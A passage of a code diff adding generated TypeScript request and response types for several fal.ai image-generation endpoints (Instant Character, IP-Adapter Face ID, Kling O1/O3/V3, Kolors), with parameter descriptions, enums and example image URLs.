https://storage.googleapis.com/falserverless/example_inputs/girl.jpg + * @type string + */ + image_url: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The scale of the subject image. Higher values will make the subject image more prominent in the generated image. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSize4E6699E9 | InputFalAiInstantCharacterImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example A girl is playing a guitar in street + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiInstantCharacterOutputFormatEnumKey + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image212F76E2 = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiInstantCharacter = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated images + * @example [{"width":1024,"height":1024,"content_type":"image/jpeg","url":"https://v3.fal.media/files/penguin/dG4xIRLMkTRKxA-T7h57l.jpeg"}] + * @type array + */ + images: Image212F76E2[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export const inputFalAiIpAdapterFaceIdModelTypeEnum = { + '1_5-v1': '1_5-v1', + '1_5-v1-plus': '1_5-v1-plus', + '1_5-v2-plus': '1_5-v2-plus', + 'SDXL-v1': 'SDXL-v1', + 'SDXL-v2-plus': 'SDXL-v2-plus', + '1_5-auraface-v1': '1_5-auraface-v1', +} as const + +export type InputFalAiIpAdapterFaceIdModelTypeEnumKey = + (typeof inputFalAiIpAdapterFaceIdModelTypeEnum)[keyof typeof inputFalAiIpAdapterFaceIdModelTypeEnum] + +export type InputFalAiIpAdapterFaceId = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The negative prompt to use.Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default 'blurry, low resolution, bad, ugly, low quality, pixelated, interpolated, compression artifacts, noisey, grainy' + * @example blurry, low resolution, bad, ugly, low quality, pixelated, interpolated, compression artifacts, noisey, grainy + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @example 42 + */ + seed?: number | null + /** + * @description + * The width of the generated image. + * + * @minimum 512 + * @maximum 1024 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description + * The size of the face detection model. The higher the number the more accurate + * the detection will be but it will also take longer to run. The higher the number the more + * likely it will fail to find a face as well. Lower it if you are having trouble + * finding a face in the image. + * + * @minimum 64 + * @maximum 640 + * @default 640 + * @type integer | undefined + */ + face_id_det_size?: number + /** + * @description + * The number of inference steps to use for generating the image. The more steps + * the better the image will be but it will also take longer to generate. + * + * @minimum 1 + * @maximum 200 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The number of samples for face id. The more samples the better the image will + * be but it will also take longer to generate. Default is 4. + * + * @minimum 1 + * @maximum 4 + * @default 4 + * @type integer | undefined + */ + num_samples?: number + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example Man cyberpunk, synthwave night city, futuristic, high quality, highly detailed, high resolution, sharp, hyper realistic, extremely detailed + * @type string + */ + prompt: string + /** + * @description The URL to the base 1.5 model. Default is SG161222/Realistic_Vision_V4.0_noVAE + * @default 'SG161222/Realistic_Vision_V4.0_noVAE' + * @type string | undefined + */ + base_1_5_model_repo?: string + /** + * @description + * The height of the generated image. + * + * @minimum 512 + * @maximum 1024 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The model type to use. 1_5 is the default and is recommended for most use cases. + * @default '1_5-v1' + * @example 1_5-v1 + * @example 1_5-v1-plus + * @example 1_5-v2-plus + * @example SDXL-v1 + * @example SDXL-v2-plus + * @example 1_5-auraface-v1 + * @type string | undefined + */ + model_type?: InputFalAiIpAdapterFaceIdModelTypeEnumKey + /** + * @description An image of a face to match. If an image with a size of 640x640 is not provided, it will be scaled and cropped to that size. + * @example https://storage.googleapis.com/falserverless/model_tests/upscale/image%20(8).png + */ + face_image_url?: string | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 16 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The URL to the base SDXL model. Default is SG161222/RealVisXL_V3.0 + * @default 'SG161222/RealVisXL_V3.0' + * @type string | undefined + */ + base_sdxl_model_repo?: string + /** + * @description + * URL to zip archive with images of faces. The images embedding will be averaged to + * create a more accurate face id. + * + */ + face_images_data_url?: string | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image5Fa7E6Ba = { + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputFalAiIpAdapterFaceId = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The generated image file info. + * @type object + */ + image: Image5Fa7E6Ba +} + +/** + * @description Element input for image generation with face/character control. + * + * Create an element by providing frontal_image_url (and optionally reference_image_urls). + * All fields are optional - provide what you have available. + * @type object + */ +export type ElementInput = { + /** + * @description Additional reference images from different angles. 0-3 images supported. Optional. + */ + reference_image_urls?: string[] | null + /** + * @description The frontal image of the element (main view). Optional. + */ + frontal_image_url?: string | null +} + +export const inputFalAiKlingImageO1ResolutionEnum = { + '1K': '1K', + '2K': '2K', +} as const + +export type InputFalAiKlingImageO1ResolutionEnumKey = + (typeof inputFalAiKlingImageO1ResolutionEnum)[keyof typeof inputFalAiKlingImageO1ResolutionEnum] + +export const inputFalAiKlingImageO1AspectRatioEnum = { + auto: 'auto', + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', + '21:9': '21:9', +} as const + +export type InputFalAiKlingImageO1AspectRatioEnumKey = + (typeof inputFalAiKlingImageO1AspectRatioEnum)[keyof typeof inputFalAiKlingImageO1AspectRatioEnum] + +export const inputFalAiKlingImageO1OutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiKlingImageO1OutputFormatEnumKey = + (typeof inputFalAiKlingImageO1OutputFormatEnum)[keyof typeof inputFalAiKlingImageO1OutputFormatEnum] + +/** + * @description Request model for Kling O1 Omni Image (legacy). + * @type object + */ +export type InputFalAiKlingImageO1 = { + /** + * @description Image generation resolution. 1K: standard, 2K: high-res. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiKlingImageO1ResolutionEnumKey + /** + * @description Number of images to generate (1-9). + * @minimum 1 + * @maximum 9 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Aspect ratio of generated images. 'auto' intelligently determines based on input content. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingImageO1AspectRatioEnumKey + /** + * @description List of reference images. Reference images in prompt using @Image1, @Image2, etc. (1-indexed). Max 10 images. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/kling-image-o1/input.png","https://storage.googleapis.com/falserverless/example_inputs/kling-image-o1/input-2.png"] + * @type array + */ + image_urls: string[] + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiKlingImageO1OutputFormatEnumKey + /** + * @description Elements (characters/objects) to include in the image. Reference in prompt as @Element1, @Element2, etc. Maximum 10 total (elements + reference images). + * @example [{"reference_image_urls":["https://storage.googleapis.com/falserverless/example_inputs/kling-image-o1/element-1-reference.png"],"frontal_image_url":"https://storage.googleapis.com/falserverless/example_inputs/kling-image-o1/element-1-front.png"}] + */ + elements?: ElementInput[] | null + /** + * @description Text prompt for image generation. Reference images using @Image1, @Image2, etc. (or @Image if only one image). Max 2500 characters. + * @maxLength 2500 + * @example Put @Image1 to the back seat of the car in @Image2, put @Element1 on to the @Image1 + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image8De7Daad = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputFalAiKlingImageO1 = { + /** + * @description Generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/kling-image-o1/output.png","file_name":"d4eeaeaeae294a41b0321ba6c99f0f9d.png","file_size":1419818,"content_type":"image/png"}] + * @type array + */ + images: Image8De7Daad[] +} + +export const inputFalAiKlingImageO3ImageToImageResolutionEnum = { + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiKlingImageO3ImageToImageResolutionEnumKey = + (typeof inputFalAiKlingImageO3ImageToImageResolutionEnum)[keyof typeof inputFalAiKlingImageO3ImageToImageResolutionEnum] + +export const inputFalAiKlingImageO3ImageToImageResultTypeEnum = { + single: 'single', + series: 'series', +} as const + +export type InputFalAiKlingImageO3ImageToImageResultTypeEnumKey = + (typeof inputFalAiKlingImageO3ImageToImageResultTypeEnum)[keyof typeof inputFalAiKlingImageO3ImageToImageResultTypeEnum] + +export const inputFalAiKlingImageO3ImageToImageAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', + '21:9': '21:9', + auto: 'auto', +} as const + +export type InputFalAiKlingImageO3ImageToImageAspectRatioEnumKey = + (typeof inputFalAiKlingImageO3ImageToImageAspectRatioEnum)[keyof typeof inputFalAiKlingImageO3ImageToImageAspectRatioEnum] + +export const inputFalAiKlingImageO3ImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiKlingImageO3ImageToImageOutputFormatEnumKey = + (typeof inputFalAiKlingImageO3ImageToImageOutputFormatEnum)[keyof typeof inputFalAiKlingImageO3ImageToImageOutputFormatEnum] + +/** + * @description Request model for Kling O3 Image-to-Image Generation. + * @type object + */ +export type InputFalAiKlingImageO3ImageToImage = { + /** + * @description Image generation resolution. 1K: standard, 2K: high-res, 4K: ultra high-res. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiKlingImageO3ImageToImageResolutionEnumKey + /** + * @description Number of images to generate (1-9). Only used when result_type is 'single'. + * @minimum 1 + * @maximum 9 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description List of reference images. Reference images in prompt using @Image1, @Image2, etc. (1-indexed). Max 10 images. + * @example ["https://v3b.fal.media/files/b/0a8d06d1/FTrwBsV9WI5twqMPkqvRh_19db9852c5ed4a109d81c52d27c9e433.png"] + * @type array + */ + image_urls: string[] + /** + * @description Result type. 'single' for one image, 'series' for a series of related images. + * @default 'single' + * @type string | undefined + */ + result_type?: InputFalAiKlingImageO3ImageToImageResultTypeEnumKey + /** + * @description Aspect ratio of generated images. 'auto' intelligently determines based on input content. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingImageO3ImageToImageAspectRatioEnumKey + /** + * @description Number of images in series (2-9). Only used when result_type is 'series'. + */ + series_amount?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiKlingImageO3ImageToImageOutputFormatEnumKey + /** + * @description Text prompt for image generation. Reference images using @Image1, @Image2, etc. (or @Image if only one image). Max 2500 characters. + * @maxLength 2500 + * @example Transform into photorealistic 3D render, add proper lighting and shadows, realistic materials and textures, maintain exact proportions and design from sketch, product visualization quality + * @type string + */ + prompt: string + /** + * @description Optional: Elements (characters/objects) for face control. Reference in prompt as @Element1, @Element2, etc. + */ + elements?: ElementInput[] | null +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image0E4Cca23 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +/** + * @description Output model for Kling O3 Image Generation. + * @type object + */ +export type OutputFalAiKlingImageO3ImageToImage = { + /** + * @description Generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8d06d1/FTrwBsV9WI5twqMPkqvRh_19db9852c5ed4a109d81c52d27c9e433.png","file_name":"19db9852c5ed4a109d81c52d27c9e433.png","file_size":793847,"content_type":"image/png"}] + * @type array + */ + images: Image0E4Cca23[] +} + +export const inputFalAiKlingImageO3TextToImageResolutionEnum = { + '1K': '1K', + '2K': '2K', + '4K': '4K', +} as const + +export type InputFalAiKlingImageO3TextToImageResolutionEnumKey = + (typeof inputFalAiKlingImageO3TextToImageResolutionEnum)[keyof typeof inputFalAiKlingImageO3TextToImageResolutionEnum] + +export const inputFalAiKlingImageO3TextToImageAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', + '21:9': '21:9', +} as const + +export type InputFalAiKlingImageO3TextToImageAspectRatioEnumKey = + (typeof inputFalAiKlingImageO3TextToImageAspectRatioEnum)[keyof typeof inputFalAiKlingImageO3TextToImageAspectRatioEnum] + +export const inputFalAiKlingImageO3TextToImageResultTypeEnum = { + single: 'single', + series: 'series', +} as const + +export type InputFalAiKlingImageO3TextToImageResultTypeEnumKey = + (typeof inputFalAiKlingImageO3TextToImageResultTypeEnum)[keyof typeof inputFalAiKlingImageO3TextToImageResultTypeEnum] + +export const inputFalAiKlingImageO3TextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiKlingImageO3TextToImageOutputFormatEnumKey = + (typeof inputFalAiKlingImageO3TextToImageOutputFormatEnum)[keyof typeof inputFalAiKlingImageO3TextToImageOutputFormatEnum] + +/** + * @description Request model for Kling O3 Text-to-Image Generation. + * @type object + */ +export type InputFalAiKlingImageO3TextToImage = { + /** + * @description Image generation resolution. 1K: standard, 2K: high-res, 4K: ultra high-res. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiKlingImageO3TextToImageResolutionEnumKey + /** + * @description Number of images to generate (1-9). Only used when result_type is 'single'. + * @minimum 1 + * @maximum 9 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description If `True`, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Aspect ratio of generated images. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingImageO3TextToImageAspectRatioEnumKey + /** + * @description Result type. 'single' for one image, 'series' for a series of related images. + * @default 'single' + * @type string | undefined + */ + result_type?: InputFalAiKlingImageO3TextToImageResultTypeEnumKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiKlingImageO3TextToImageOutputFormatEnumKey + /** + * @description Number of images in series (2-9). Only used when result_type is 'series'. + */ + series_amount?: number | null + /** + * @description Optional: Elements (characters/objects) for face control. Reference in prompt as @Element1, @Element2, etc. + */ + elements?: ElementInput[] | null + /** + * @description Text prompt for image generation. Max 2500 characters. + * @maxLength 2500 + * @example A poster design says 'Kling Omni 3 Image is available on fal' with a cool font in the background as several rows and big font size. Big gap between the rows. High fashion model wearing a dress made entirely of living moss and small white flowers, standing in an abandoned greenhouse, shafts of light, editorial photography. + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image4D62B5Ff = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +/** + * @description Output model for Kling O3 Image Generation. + * @type object + */ +export type OutputFalAiKlingImageO3TextToImage = { + /** + * @description Generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8d069f/8kVewB_BV3u0f8vORGZYy_4b654d5a07b64b498ebdb091a76611ad.png","file_name":"4b654d5a07b64b498ebdb091a76611ad.png","file_size":1748857,"content_type":"image/png"}] + * @type array + */ + images: Image4D62B5Ff[] +} + +export const inputFalAiKlingImageV3ImageToImageResolutionEnum = { + '1K': '1K', + '2K': '2K', +} as const + +export type InputFalAiKlingImageV3ImageToImageResolutionEnumKey = + (typeof inputFalAiKlingImageV3ImageToImageResolutionEnum)[keyof typeof inputFalAiKlingImageV3ImageToImageResolutionEnum] + +export const inputFalAiKlingImageV3ImageToImageAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', + '21:9': '21:9', +} as const + +export type InputFalAiKlingImageV3ImageToImageAspectRatioEnumKey = + (typeof inputFalAiKlingImageV3ImageToImageAspectRatioEnum)[keyof typeof inputFalAiKlingImageV3ImageToImageAspectRatioEnum] + +export const inputFalAiKlingImageV3ImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiKlingImageV3ImageToImageOutputFormatEnumKey = + (typeof inputFalAiKlingImageV3ImageToImageOutputFormatEnum)[keyof typeof inputFalAiKlingImageV3ImageToImageOutputFormatEnum] + +/** + * @description Request model for Kling V3 Image-to-Image Generation. + * @type object + */ +export type InputFalAiKlingImageV3ImageToImage = { + /** + * @description Image generation resolution. 1K: standard, 2K: high-res. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiKlingImageV3ImageToImageResolutionEnumKey + /** + * @description Number of images to generate (1-9). + * @minimum 1 + * @maximum 9 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Reference image for image-to-image generation. + * + * Max file size: 10.0MB, Min width: 300px, Min height: 300px, Min aspect ratio: 0.40, Max aspect ratio: 2.50, Timeout: 20.0s + * @example https://v3b.fal.media/files/b/0a8d06b9/3zxm2qoj2xYWSNwEe5Vd9_a74d767fc42e47a0bf657117fbcf8b90.png + * @type string + */ + image_url: string + /** + * @description Aspect ratio of generated images. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingImageV3ImageToImageAspectRatioEnumKey + /** + * @description If `True`, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiKlingImageV3ImageToImageOutputFormatEnumKey + /** + * @description Optional: Elements (characters/objects) to include in the image for face control. + */ + elements?: ElementInput[] | null + /** + * @description Text prompt for image generation. Max 2500 characters. + * @maxLength 2500 + * @example Transform to deep winter, heavy snow covering all surfaces, bare frozen trees, overcast sky, footprints in fresh powder, cold blue color grade + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image644545A0 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +/** + * @description Output model for Kling V3 Image Generation. + * @type object + */ +export type OutputFalAiKlingImageV3ImageToImage = { + /** + * @description Generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8d06c0/PJqs6iVST-NaBlt8uMwVJ_49222c3290cd4cefb3baacac2cb004ce.png","file_name":"49222c3290cd4cefb3baacac2cb004ce.png","file_size":2085483,"content_type":"image/png"}] + * @type array + */ + images: Image644545A0[] +} + +export const inputFalAiKlingImageV3TextToImageResolutionEnum = { + '1K': '1K', + '2K': '2K', +} as const + +export type InputFalAiKlingImageV3TextToImageResolutionEnumKey = + (typeof inputFalAiKlingImageV3TextToImageResolutionEnum)[keyof typeof inputFalAiKlingImageV3TextToImageResolutionEnum] + +export const inputFalAiKlingImageV3TextToImageAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', + '3:2': '3:2', + '2:3': '2:3', + '21:9': '21:9', +} as const + +export type InputFalAiKlingImageV3TextToImageAspectRatioEnumKey = + (typeof inputFalAiKlingImageV3TextToImageAspectRatioEnum)[keyof typeof inputFalAiKlingImageV3TextToImageAspectRatioEnum] + +export const inputFalAiKlingImageV3TextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiKlingImageV3TextToImageOutputFormatEnumKey = + (typeof inputFalAiKlingImageV3TextToImageOutputFormatEnum)[keyof typeof inputFalAiKlingImageV3TextToImageOutputFormatEnum] + +/** + * @description Request model for Kling V3 Text-to-Image Generation. + * @type object + */ +export type InputFalAiKlingImageV3TextToImage = { + /** + * @description Image generation resolution. 1K: standard, 2K: high-res. + * @default '1K' + * @type string | undefined + */ + resolution?: InputFalAiKlingImageV3TextToImageResolutionEnumKey + /** + * @description Number of images to generate (1-9). + * @minimum 1 + * @maximum 9 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Aspect ratio of generated images. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKlingImageV3TextToImageAspectRatioEnumKey + /** + * @description Negative text prompt. It is recommended to supplement negative prompt information through negative sentences directly within positive prompts. + */ + negative_prompt?: string | null + /** + * @description If `True`, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiKlingImageV3TextToImageOutputFormatEnumKey + /** + * @description Optional: Elements (characters/objects) to include in the image for face control. Each element can have a frontal image and optionally reference images. + */ + elements?: ElementInput[] | null + /** + * @description Text prompt for image generation. Max 2500 characters. + * @maxLength 2500 + * @example Extremely realistic image of a scholar's study filled with maps and curiosities, roaring fireplace, rain against round windows, stacks of handwritten journals, warm tungsten lighting, inviting atmosphere. The scholar is sitting on a chair. + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image0Bd2D812 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +/** + * @description Output model for Kling V3 Image Generation. + * @type object + */ +export type OutputFalAiKlingImageV3TextToImage = { + /** + * @description Generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8d0681/Qos5QbCS93YpsPzZ3i8zT_a889cacced76430d85d08c60ca3d023d.png","file_name":"a889cacced76430d85d08c60ca3d023d.png","file_size":1637946,"content_type":"image/png"}] + * @type array + */ + images: Image0Bd2D812[] +} + +export type ImageSize389Eb024 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiKolorsSchedulerEnum = { + EulerDiscreteScheduler: 'EulerDiscreteScheduler', + EulerAncestralDiscreteScheduler: 'EulerAncestralDiscreteScheduler', + DPMSolverMultistepScheduler: 'DPMSolverMultistepScheduler', + DPMSolverMultistepScheduler_SDE_karras: + 'DPMSolverMultistepScheduler_SDE_karras', + UniPCMultistepScheduler: 'UniPCMultistepScheduler', + DEISMultistepScheduler: 'DEISMultistepScheduler', +} as const + +export type InputFalAiKolorsSchedulerEnumKey = + (typeof inputFalAiKolorsSchedulerEnum)[keyof typeof inputFalAiKolorsSchedulerEnum] + +export const inputFalAiKolorsImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiKolorsImageSizeKey = + (typeof inputFalAiKolorsImageSize)[keyof typeof inputFalAiKolorsImageSize] + +export const inputFalAiKolorsOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiKolorsOutputFormatEnumKey = + (typeof inputFalAiKolorsOutputFormatEnum)[keyof typeof inputFalAiKolorsOutputFormatEnum] + +export type InputFalAiKolors = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small + * details (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example ugly, deformed, blurry + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 150 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Seed + */ + seed?: number | null + /** + * @description The scheduler to use for the model. + * @default 'EulerDiscreteScheduler' + * @type string | undefined + */ + scheduler?: InputFalAiKolorsSchedulerEnumKey + /** + * @description + * The prompt to use for generating the image. Be as descriptive as possible + * for best results. + * + * @example A young Chinese couple with fair skin, dressed in stylish sportswear, with the modern Beijing city skyline in the background. Facial details, clear pores, captured using the latest camera model, close-up shot, ultra-high quality, 8K, visual feast. + * @example The image features four mythical beasts: Vermilion Bird, Black Tortoise, Azure Dragon, and White Tiger. The Vermilion Bird is at the top of the image, with feathers as red as fire and a tail as magnificent as a phoenix, its wings spreading like burning flames. The Black Tortoise is at the bottom, depicted as a giant turtle intertwined with a snake. Ancient runes adorn the turtle's shell, and the snake's eyes are cold and sharp. The Azure Dragon is on the right, its long body coiling in the sky, with jade-green scales, flowing whiskers, deer-like horns, and exhaling clouds and mist. The White Tiger is on the left, with a majestic posture, white fur with black stripes, piercing eyes, sharp teeth and claws, surrounded by vast mountains and grasslands. + * @type string + */ + prompt: string + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSize389Eb024 | InputFalAiKolorsImageSizeKey + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show + * you. + * + * @minimum 1 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiKolorsOutputFormatEnumKey + /** + * @description Enable safety checker. 